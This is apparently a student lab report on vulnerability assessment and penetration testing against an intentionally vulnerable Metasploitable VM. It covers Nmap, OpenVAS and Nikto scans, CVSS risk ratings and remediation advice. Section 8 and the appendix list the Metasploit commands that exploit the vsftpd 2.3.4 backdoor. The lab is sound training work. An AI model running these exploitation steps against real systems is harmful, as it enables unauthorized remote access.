



1. Executive Summary

This report presents the Vulnerability Assessment and Penetration Testing (VAPT) activities performed in a controlled lab environment using open-source tools and intentionally vulnerable systems.

The objective of the assessment was to identify vulnerabilities, analyze associated risks, and demonstrate the impact of security weaknesses through practical testing techniques.

The assessment included:

- Network scanning
- Service enumeration
- Vulnerability scanning
- Risk analysis
- Basic exploitation techniques
- Documentation and reporting

The testing environment consisted of Kali Linux as the attacker machine and Metasploitable as the vulnerable target machine hosted inside Oracle VirtualBox.

The assessment identified multiple vulnerabilities including outdated services, open ports, weak configurations, and vulnerable web applications.

2. Objectives

The objectives of this assessment were:

- To understand the fundamentals of Vulnerability Assessment and Penetration Testing.
- To build a secure virtual testing environment.
- To perform network and service enumeration.
- To identify vulnerabilities using open-source tools.
- To analyze risks using CVSS scoring.
- To document findings professionally.
- To recommend mitigation strategies.

3. Scope of Assessment

In-Scope Systems



Machine	IP Address	Purpose
Kali Linux	192.168.xx.xx	Attacker Machine
Metasploitable	192.168.xx.xx	Vulnerable Target

Out of Scope

- Public systems
- Production servers
- External networks

Assessment Type

- Internal Network Assessment
- Vulnerability Assessment
- Basic Penetration Testing

4. Lab Environment Setup

Virtualization Platform

- Oracle VirtualBox

Operating Systems Used

Kali Linux

Purpose:

- Security testing machine
- Tool execution platform

Metasploitable

Purpose:

- Intentionally vulnerable machine for practice

Network Configuration

The virtual machines were configured using the Host-Only Adapter mode to isolate the testing environment from external networks.

Network Diagram

[Kali Linux VM] -----> [Metasploitable VM]

Attacker Target



Verification

Connectivity between systems was verified using the following command:

```
ping <target-ip>
```

5. Methodology

The assessment followed a structured VAPT methodology based on OWASP and PTES principles.

Phase 1: Planning

Activities:

- Define scope
- Configure lab environment
- Prepare tools

Phase 2: Discovery and Enumeration

Activities:

- Host discovery
- Port scanning
- Service enumeration
- Banner grabbing

Tools Used:

- Nmap
- Nikto

Phase 3: Vulnerability Assessment

Activities:

- Automated vulnerability scanning
- CVE identification
- CVSS analysis

Tools Used:

- OpenVAS/GVM
- Nikto

Phase 4: Exploitation



Activities:

- Controlled exploitation
- Verification of vulnerabilities

Tools Used:

- Metasploit Framework

Phase 5: Reporting

Activities:

- Documentation
- Screenshot collection
- Risk prioritization
- Remediation planning

6. Tools Used

Tool	Purpose
Nmap	Network and Port Scanning
OpenVAS/GVM	Vulnerability Assessment
Nikto	Web Server Scanning
Metasploit Framework	Exploitation Testing
CherryTree	Note Taking
VirtualBox	Virtualization Platform
Kali Linux	Penetration Testing OS

7. Vulnerability Assessment

7.1 Network Scanning using Nmap

Command Used

```
nmap -A <target-ip>
```

Purpose

The scan was performed to identify:



- Open ports
- Running services
- Service versions
- Operating system details

Sample Output

Port	Service	Version	Status
21	FTP	vsftpd 2.3.4	Open
22	SSH	OpenSSH	Open
80	HTTP	Apache HTTP Server	Open

Observation

Multiple services were exposed publicly, increasing the attack surface.

7.2 Vulnerability Scanning using OpenVAS

Purpose

OpenVAS was used to identify known vulnerabilities and associated CVEs.

Steps Performed

1. Start GVM/OpenVAS services.
2. Configure scan target.
3. Launch full vulnerability scan.
4. Analyze scan report.

Findings

Vulnerability	CVE	CVSS Score	Severity
Outdated FTP Service	CVE-2011-2523	10.0	Critical
Weak SSL Configuration	CVE-XXXX-XXXX	6.5	Medium

7.3 Web Server Scanning using Nikto

Command Used

```
nikto -h http://<target-ip>
```

Findings



- Directory listing enabled
- Outdated Apache server
- Default files exposed

8. Penetration Testing Activities

Exploitation using Metasploit

Objective

To verify whether identified vulnerabilities could be exploited.

Service Targeted

- FTP Service (vsftpd 2.3.4)

Steps Performed

Start Metasploit

```
msfconsole
```

Search Exploit

```
search vsftpd
```

Select Exploit

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

Configure Target

```
set RHOSTS <target-ip>
```

Execute Exploit

```
exploit
```

Result

The exploit successfully demonstrated unauthorized access to the vulnerable system.

9. Risk Assessment

CVSS Scoring

The Common Vulnerability Scoring System (CVSS) was used to determine the severity of vulnerabilities.

CVSS Range Severity

0.0 – 3.9 Low



4.0 – 6.9 Medium

7.0 – 8.9 High

9.0 – 10.0 Critical

Risk Matrix

Vulnerability	Likelihood	Impact	Risk Level
Outdated FTP Service	High	High	Critical
Weak Web Configuration	Medium	Medium	Medium
Open Unnecessary Ports	Medium	High	High

10. Findings and Evidence

Finding 1: Outdated FTP Service

Description

The target system was running an outdated version of vsftpd vulnerable to a backdoor exploit.

Evidence

- Port 21 open
- Vulnerable version detected
- Exploitation successful

Impact

Attackers may gain unauthorized remote access.

Severity

Critical

Recommendation

- Update FTP service
- Disable unused FTP services
- Restrict external access

Finding 2: Exposed Web Server Information



Description

The Apache web server exposed version details and default configurations.

Impact

Attackers can perform targeted attacks against known vulnerabilities.

Severity

Medium

Recommendation

- Hide server banners
- Update Apache server
- Disable unnecessary modules

11. Remediation Recommendations

The following mitigation steps are recommended:

Issue	Recommendation
Outdated Services	Apply security patches and updates
Open Ports	Close unused ports
Weak Configurations	Harden server configurations
Exposed Services	Restrict network access
Vulnerable Applications	Upgrade vulnerable software

Additional recommendations:

- Implement regular vulnerability scanning.
- Use firewalls and intrusion detection systems.
- Perform periodic security audits.
- Follow secure configuration standards.

12. Conclusion

This assessment successfully demonstrated the process of Vulnerability Assessment and Penetration Testing in a controlled lab environment.



The assessment identified multiple vulnerabilities through network scanning, vulnerability analysis, and exploitation testing.

The practical implementation improved understanding of:

- Network reconnaissance
- Vulnerability assessment
- Risk analysis
- Security reporting
- Penetration testing methodology

The identified vulnerabilities highlight the importance of regular security assessments, patch management, and secure configurations.

13. References

1. OWASP Top 10
2. NIST Cybersecurity Framework
3. PTES Technical Guidelines
4. Kali Linux Documentation
5. Metasploit Framework Documentation
6. OpenVAS/GVM Documentation
7. NVD CVSS Calculator
8. OWASP Juice Shop
9. VulnHub
10. Metasploitable Documentation

Appendix

Commands Used During Assessment

Nmap

```
nmap -A <target-ip>
```

```
nmap -sV <target-ip>
```

Nikto

```
nikto -h http://<target-ip>
```



Metasploit

msfconsole

search vsftpd

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOSTS <target-ip>

exploit

OpenVAS/GVM

sudo gvm-start

